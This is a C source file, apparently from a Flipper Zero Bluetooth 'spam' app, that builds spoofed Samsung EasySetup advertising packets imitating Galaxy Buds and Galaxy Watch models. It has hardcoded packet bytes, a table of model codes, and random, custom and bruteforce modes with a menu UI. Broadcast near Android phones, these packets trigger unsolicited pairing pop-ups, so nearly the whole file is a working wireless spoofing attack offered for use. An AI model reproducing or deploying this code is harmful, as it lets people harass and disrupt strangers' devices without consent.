easysetup.c 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576
  1. #include "easysetup.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Research by @Spooks4576
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } buds_models[] = {
  9. {0xEE7A0C, "Fallback Buds"},
  10. {0x9D1700, "Fallback Dots"},
  11. {0x39EA48, "Light Purple Buds2"},
  12. {0xA7C62C, "Bluish Silver Buds2"},
  13. {0x850116, "Black Buds Live"},
  14. {0x3D8F41, "Gray & Black Buds2"},
  15. {0x3B6D02, "Bluish Chrome Buds2"},
  16. {0xAE063C, "Gray Beige Buds2"},
  17. {0xB8B905, "Pure White Buds"},
  18. {0xEAAA17, "Pure White Buds2"},
  19. {0xD30704, "Black Buds"},
  20. {0x9DB006, "French Flag Buds"},
  21. {0x101F1A, "Dark Purple Buds Live"},
  22. {0x859608, "Dark Blue Buds"},
  23. {0x8E4503, "Pink Buds"},
  24. {0x2C6740, "White & Black Buds2"},
  25. {0x3F6718, "Bronze Buds Live"},
  26. {0x42C519, "Red Buds Live"},
  27. {0xAE073A, "Black & White Buds2"},
  28. {0x011716, "Sleek Black Buds2"},
  29. };
  30. const uint8_t buds_models_count = COUNT_OF(buds_models);
  31. const struct {
  32. uint8_t value;
  33. const char* name;
  34. } watch_models[] = {
  35. {0x1A, "Fallback Watch"},
  36. {0x01, "White Watch4 Classic 44m"},
  37. {0x02, "Black Watch4 Classic 40m"},
  38. {0x03, "White Watch4 Classic 40m"},
  39. {0x04, "Black Watch4 44mm"},
  40. {0x05, "Silver Watch4 44mm"},
  41. {0x06, "Green Watch4 44mm"},
  42. {0x07, "Black Watch4 40mm"},
  43. {0x08, "White Watch4 40mm"},
  44. {0x09, "Gold Watch4 40mm"},
  45. {0x0A, "French Watch4"},
  46. {0x0B, "French Watch4 Classic"},
  47. {0x0C, "Fox Watch5 44mm"},
  48. {0x11, "Black Watch5 44mm"},
  49. {0x12, "Sapphire Watch5 44mm"},
  50. {0x13, "Purpleish Watch5 40mm"},
  51. {0x14, "Gold Watch5 40mm"},
  52. {0x15, "Black Watch5 Pro 45mm"},
  53. {0x16, "Gray Watch5 Pro 45mm"},
  54. {0x17, "White Watch5 44mm"},
  55. {0x18, "White & Black Watch5"},
  56. {0xE4, "Black Watch5 Golf Edition"},
  57. {0xE5, "White Watch5 Gold Edition"},
  58. {0x1B, "Black Watch6 Pink 40mm"},
  59. {0x1C, "Gold Watch6 Gold 40mm"},
  60. {0x1D, "Silver Watch6 Cyan 44mm"},
  61. {0x1E, "Black Watch6 Classic 43m"},
  62. {0x20, "Green Watch6 Classic 43m"},
  63. };
  64. const uint8_t watch_models_count = COUNT_OF(watch_models);
  65. static const char* type_names[EasysetupTypeCOUNT] = {
  66. [EasysetupTypeBuds] = "EasySetup Buds",
  67. [EasysetupTypeWatch] = "EasySetup Watch",
  68. };
  69. static const char* get_name(const Payload* payload) {
  70. const EasysetupCfg* cfg = &payload->cfg.easysetup;
  71. return type_names[cfg->type];
  72. }
  73. static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
  74. [EasysetupTypeBuds] = 31,
  75. [EasysetupTypeWatch] = 15,
  76. };
  77. void make_packet(uint8_t* out_size, uint8_t** out_packet, Payload* payload) {
  78. EasysetupCfg* cfg = payload ? &payload->cfg.easysetup : NULL;
  79. EasysetupType type;
  80. if(cfg && cfg->type != 0x00) {
  81. type = cfg->type;
  82. } else {
  83. const EasysetupType types[] = {
  84. EasysetupTypeBuds,
  85. EasysetupTypeWatch,
  86. };
  87. type = types[rand() % COUNT_OF(types)];
  88. }
  89. uint8_t size = packet_sizes[type];
  90. uint8_t* packet = malloc(size);
  91. uint8_t i = 0;
  92. switch(type) {
  93. case EasysetupTypeBuds: {
  94. uint32_t model;
  95. switch(cfg ? payload->mode : PayloadModeRandom) {
  96. case PayloadModeRandom:
  97. default:
  98. model = buds_models[rand() % buds_models_count].value;
  99. break;
  100. case PayloadModeValue:
  101. model = cfg->data.buds.model;
  102. break;
  103. case PayloadModeBruteforce:
  104. model = cfg->data.buds.model = payload->bruteforce.value;
  105. break;
  106. }
  107. packet[i++] = 27; // Size
  108. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  109. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  110. packet[i++] = 0x00; // ...
  111. packet[i++] = 0x42;
  112. packet[i++] = 0x09;
  113. packet[i++] = 0x81;
  114. packet[i++] = 0x02;
  115. packet[i++] = 0x14;
  116. packet[i++] = 0x15;
  117. packet[i++] = 0x03;
  118. packet[i++] = 0x21;
  119. packet[i++] = 0x01;
  120. packet[i++] = 0x09;
  121. packet[i++] = (model >> 0x10) & 0xFF; // Buds Model / Color (?)
  122. packet[i++] = (model >> 0x08) & 0xFF; // ...
  123. packet[i++] = 0x01; // ... (Always static?)
  124. packet[i++] = (model >> 0x00) & 0xFF; // ...
  125. packet[i++] = 0x06;
  126. packet[i++] = 0x3C;
  127. packet[i++] = 0x94;
  128. packet[i++] = 0x8E;
  129. packet[i++] = 0x00;
  130. packet[i++] = 0x00;
  131. packet[i++] = 0x00;
  132. packet[i++] = 0x00;
  133. packet[i++] = 0xC7;
  134. packet[i++] = 0x00;
  135. packet[i++] = 16; // Size
  136. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  137. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  138. // Truncated AD segment, Android seems to fill in the rest with zeros
  139. break;
  140. }
  141. case EasysetupTypeWatch: {
  142. uint8_t model;
  143. switch(cfg ? payload->mode : PayloadModeRandom) {
  144. case PayloadModeRandom:
  145. default:
  146. model = watch_models[rand() % watch_models_count].value;
  147. break;
  148. case PayloadModeValue:
  149. model = cfg->data.watch.model;
  150. break;
  151. case PayloadModeBruteforce:
  152. model = cfg->data.watch.model = payload->bruteforce.value;
  153. break;
  154. }
  155. packet[i++] = 14; // Size
  156. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  157. packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
  158. packet[i++] = 0x00; // ...
  159. packet[i++] = 0x01;
  160. packet[i++] = 0x00;
  161. packet[i++] = 0x02;
  162. packet[i++] = 0x00;
  163. packet[i++] = 0x01;
  164. packet[i++] = 0x01;
  165. packet[i++] = 0xFF;
  166. packet[i++] = 0x00;
  167. packet[i++] = 0x00;
  168. packet[i++] = 0x43;
  169. packet[i++] = (model >> 0x00) & 0xFF; // Watch Model / Color (?)
  170. break;
  171. }
  172. default:
  173. break;
  174. }
  175. *out_size = size;
  176. *out_packet = packet;
  177. }
  178. enum {
  179. _ConfigBudsExtraStart = ConfigExtraStart,
  180. ConfigBudsModel,
  181. ConfigBudsInfoVersion,
  182. ConfigBudsCOUNT,
  183. };
  184. enum {
  185. _ConfigWatchExtraStart = ConfigExtraStart,
  186. ConfigWatchModel,
  187. ConfigWatchCOUNT,
  188. };
  189. static void config_callback(void* _ctx, uint32_t index) {
  190. Ctx* ctx = _ctx;
  191. Payload* payload = &ctx->attack->payload;
  192. EasysetupCfg* cfg = &payload->cfg.easysetup;
  193. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  194. switch(cfg->type) {
  195. case EasysetupTypeBuds: {
  196. switch(index) {
  197. case ConfigBudsModel:
  198. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
  199. break;
  200. case ConfigBudsInfoVersion:
  201. break;
  202. default:
  203. ctx->fallback_config_enter(ctx, index);
  204. break;
  205. }
  206. break;
  207. }
  208. case EasysetupTypeWatch: {
  209. switch(index) {
  210. case ConfigWatchModel:
  211. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
  212. break;
  213. default:
  214. ctx->fallback_config_enter(ctx, index);
  215. break;
  216. }
  217. break;
  218. }
  219. default:
  220. ctx->fallback_config_enter(ctx, index);
  221. break;
  222. }
  223. }
  224. static void buds_model_changed(VariableItem* item) {
  225. Payload* payload = variable_item_get_context(item);
  226. EasysetupCfg* cfg = &payload->cfg.easysetup;
  227. uint8_t index = variable_item_get_current_value_index(item);
  228. if(index) {
  229. index--;
  230. payload->mode = PayloadModeValue;
  231. cfg->data.buds.model = buds_models[index].value;
  232. variable_item_set_current_value_text(item, buds_models[index].name);
  233. } else {
  234. payload->mode = PayloadModeRandom;
  235. variable_item_set_current_value_text(item, "Random");
  236. }
  237. }
  238. static void watch_model_changed(VariableItem* item) {
  239. Payload* payload = variable_item_get_context(item);
  240. EasysetupCfg* cfg = &payload->cfg.easysetup;
  241. uint8_t index = variable_item_get_current_value_index(item);
  242. if(index) {
  243. index--;
  244. payload->mode = PayloadModeValue;
  245. cfg->data.watch.model = watch_models[index].value;
  246. variable_item_set_current_value_text(item, watch_models[index].name);
  247. } else {
  248. payload->mode = PayloadModeRandom;
  249. variable_item_set_current_value_text(item, "Random");
  250. }
  251. }
  252. static void extra_config(Ctx* ctx) {
  253. Payload* payload = &ctx->attack->payload;
  254. EasysetupCfg* cfg = &payload->cfg.easysetup;
  255. VariableItemList* list = ctx->variable_item_list;
  256. VariableItem* item;
  257. size_t value_index;
  258. switch(cfg->type) {
  259. case EasysetupTypeBuds: {
  260. item = variable_item_list_add(
  261. list, "Model Code", buds_models_count + 1, buds_model_changed, payload);
  262. const char* model_name = NULL;
  263. char model_name_buf[9];
  264. switch(payload->mode) {
  265. case PayloadModeRandom:
  266. default:
  267. model_name = "Random";
  268. value_index = 0;
  269. break;
  270. case PayloadModeValue:
  271. for(uint8_t i = 0; i < buds_models_count; i++) {
  272. if(cfg->data.buds.model == buds_models[i].value) {
  273. model_name = buds_models[i].name;
  274. value_index = i + 1;
  275. break;
  276. }
  277. }
  278. if(!model_name) {
  279. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
  280. model_name = model_name_buf;
  281. value_index = buds_models_count + 1;
  282. }
  283. break;
  284. case PayloadModeBruteforce:
  285. model_name = "Bruteforce";
  286. value_index = buds_models_count + 1;
  287. break;
  288. }
  289. variable_item_set_current_value_index(item, value_index);
  290. variable_item_set_current_value_text(item, model_name);
  291. variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
  292. break;
  293. }
  294. case EasysetupTypeWatch: {
  295. item = variable_item_list_add(
  296. list, "Model Code", watch_models_count + 1, watch_model_changed, payload);
  297. const char* model_name = NULL;
  298. char model_name_buf[3];
  299. switch(payload->mode) {
  300. case PayloadModeRandom:
  301. default:
  302. model_name = "Random";
  303. value_index = 0;
  304. break;
  305. case PayloadModeValue:
  306. for(uint8_t i = 0; i < watch_models_count; i++) {
  307. if(cfg->data.watch.model == watch_models[i].value) {
  308. model_name = watch_models[i].name;
  309. value_index = i + 1;
  310. break;
  311. }
  312. }
  313. if(!model_name) {
  314. snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
  315. model_name = model_name_buf;
  316. value_index = watch_models_count + 1;
  317. }
  318. break;
  319. case PayloadModeBruteforce:
  320. model_name = "Bruteforce";
  321. value_index = watch_models_count + 1;
  322. break;
  323. }
  324. variable_item_set_current_value_index(item, value_index);
  325. variable_item_set_current_value_text(item, model_name);
  326. break;
  327. }
  328. default:
  329. break;
  330. }
  331. variable_item_list_set_enter_callback(list, config_callback, ctx);
  332. }
  333. static uint8_t config_counts[EasysetupTypeCOUNT] = {
  334. [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
  335. [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
  336. };
  337. static uint8_t config_count(const Payload* payload) {
  338. const EasysetupCfg* cfg = &payload->cfg.easysetup;
  339. return config_counts[cfg->type];
  340. }
  341. const Protocol protocol_easysetup = {
  342. .icon = &I_android,
  343. .get_name = get_name,
  344. .make_packet = make_packet,
  345. .extra_config = extra_config,
  346. .config_count = config_count,
  347. };
  348. static void buds_model_callback(void* _ctx, uint32_t index) {
  349. Ctx* ctx = _ctx;
  350. Payload* payload = &ctx->attack->payload;
  351. EasysetupCfg* cfg = &payload->cfg.easysetup;
  352. switch(index) {
  353. case 0:
  354. payload->mode = PayloadModeRandom;
  355. scene_manager_previous_scene(ctx->scene_manager);
  356. break;
  357. case buds_models_count + 1:
  358. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
  359. break;
  360. case buds_models_count + 2:
  361. payload->mode = PayloadModeBruteforce;
  362. payload->bruteforce.counter = 0;
  363. payload->bruteforce.value = cfg->data.buds.model;
  364. payload->bruteforce.size = 3;
  365. scene_manager_previous_scene(ctx->scene_manager);
  366. break;
  367. default:
  368. payload->mode = PayloadModeValue;
  369. cfg->data.buds.model = buds_models[index - 1].value;
  370. scene_manager_previous_scene(ctx->scene_manager);
  371. break;
  372. }
  373. }
  374. void scene_easysetup_buds_model_on_enter(void* _ctx) {
  375. Ctx* ctx = _ctx;
  376. Payload* payload = &ctx->attack->payload;
  377. EasysetupCfg* cfg = &payload->cfg.easysetup;
  378. Submenu* submenu = ctx->submenu;
  379. uint32_t selected = 0;
  380. submenu_reset(submenu);
  381. submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
  382. if(payload->mode == PayloadModeRandom) {
  383. selected = 0;
  384. }
  385. bool found = false;
  386. for(uint8_t i = 0; i < buds_models_count; i++) {
  387. submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
  388. if(!found && payload->mode == PayloadModeValue &&
  389. cfg->data.buds.model == buds_models[i].value) {
  390. found = true;
  391. selected = i + 1;
  392. }
  393. }
  394. submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
  395. if(!found && payload->mode == PayloadModeValue) {
  396. selected = buds_models_count + 1;
  397. }
  398. submenu_add_item(submenu, "Bruteforce", buds_models_count + 2, buds_model_callback, ctx);
  399. if(payload->mode == PayloadModeBruteforce) {
  400. selected = buds_models_count + 2;
  401. }
  402. submenu_set_selected_item(submenu, selected);
  403. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  404. }
  405. bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
  406. UNUSED(_ctx);
  407. UNUSED(event);
  408. return false;
  409. }
  410. void scene_easysetup_buds_model_on_exit(void* _ctx) {
  411. UNUSED(_ctx);
  412. }
  413. static void buds_model_custom_callback(void* _ctx) {
  414. Ctx* ctx = _ctx;
  415. Payload* payload = &ctx->attack->payload;
  416. EasysetupCfg* cfg = &payload->cfg.easysetup;
  417. payload->mode = PayloadModeValue;
  418. cfg->data.buds.model =
  419. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  420. scene_manager_previous_scene(ctx->scene_manager);
  421. scene_manager_previous_scene(ctx->scene_manager);
  422. }
  423. void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
  424. Ctx* ctx = _ctx;
  425. Payload* payload = &ctx->attack->payload;
  426. EasysetupCfg* cfg = &payload->cfg.easysetup;
  427. ByteInput* byte_input = ctx->byte_input;
  428. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  429. ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
  430. ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
  431. ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
  432. byte_input_set_result_callback(
  433. byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  434. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  435. }
  436. bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  437. UNUSED(_ctx);
  438. UNUSED(event);
  439. return false;
  440. }
  441. void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
  442. UNUSED(_ctx);
  443. }
  444. static void watch_model_callback(void* _ctx, uint32_t index) {
  445. Ctx* ctx = _ctx;
  446. Payload* payload = &ctx->attack->payload;
  447. EasysetupCfg* cfg = &payload->cfg.easysetup;
  448. switch(index) {
  449. case 0:
  450. payload->mode = PayloadModeRandom;
  451. scene_manager_previous_scene(ctx->scene_manager);
  452. break;
  453. case watch_models_count + 1:
  454. scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
  455. break;
  456. case watch_models_count + 2:
  457. payload->mode = PayloadModeBruteforce;
  458. payload->bruteforce.counter = 0;
  459. payload->bruteforce.value = cfg->data.watch.model;
  460. payload->bruteforce.size = 1;
  461. scene_manager_previous_scene(ctx->scene_manager);
  462. break;
  463. default:
  464. payload->mode = PayloadModeValue;
  465. cfg->data.watch.model = watch_models[index - 1].value;
  466. scene_manager_previous_scene(ctx->scene_manager);
  467. break;
  468. }
  469. }
  470. void scene_easysetup_watch_model_on_enter(void* _ctx) {
  471. Ctx* ctx = _ctx;
  472. Payload* payload = &ctx->attack->payload;
  473. EasysetupCfg* cfg = &payload->cfg.easysetup;
  474. Submenu* submenu = ctx->submenu;
  475. uint32_t selected = 0;
  476. submenu_reset(submenu);
  477. submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
  478. if(payload->mode == PayloadModeRandom) {
  479. selected = 0;
  480. }
  481. bool found = false;
  482. for(uint8_t i = 0; i < watch_models_count; i++) {
  483. submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
  484. if(!found && payload->mode == PayloadModeValue &&
  485. cfg->data.watch.model == watch_models[i].value) {
  486. found = true;
  487. selected = i + 1;
  488. }
  489. }
  490. submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
  491. if(!found && payload->mode == PayloadModeValue) {
  492. selected = watch_models_count + 1;
  493. }
  494. submenu_add_item(submenu, "Bruteforce", watch_models_count + 2, watch_model_callback, ctx);
  495. if(payload->mode == PayloadModeBruteforce) {
  496. selected = watch_models_count + 2;
  497. }
  498. submenu_set_selected_item(submenu, selected);
  499. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  500. }
  501. bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
  502. UNUSED(_ctx);
  503. UNUSED(event);
  504. return false;
  505. }
  506. void scene_easysetup_watch_model_on_exit(void* _ctx) {
  507. UNUSED(_ctx);
  508. }
  509. static void watch_model_custom_callback(void* _ctx) {
  510. Ctx* ctx = _ctx;
  511. Payload* payload = &ctx->attack->payload;
  512. EasysetupCfg* cfg = &payload->cfg.easysetup;
  513. payload->mode = PayloadModeValue;
  514. cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
  515. scene_manager_previous_scene(ctx->scene_manager);
  516. scene_manager_previous_scene(ctx->scene_manager);
  517. }
  518. void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
  519. Ctx* ctx = _ctx;
  520. Payload* payload = &ctx->attack->payload;
  521. EasysetupCfg* cfg = &payload->cfg.easysetup;
  522. ByteInput* byte_input = ctx->byte_input;
  523. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  524. ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
  525. byte_input_set_result_callback(
  526. byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  527. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  528. }
  529. bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  530. UNUSED(_ctx);
  531. UNUSED(event);
  532. return false;
  533. }
  534. void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
  535. UNUSED(_ctx);
  536. }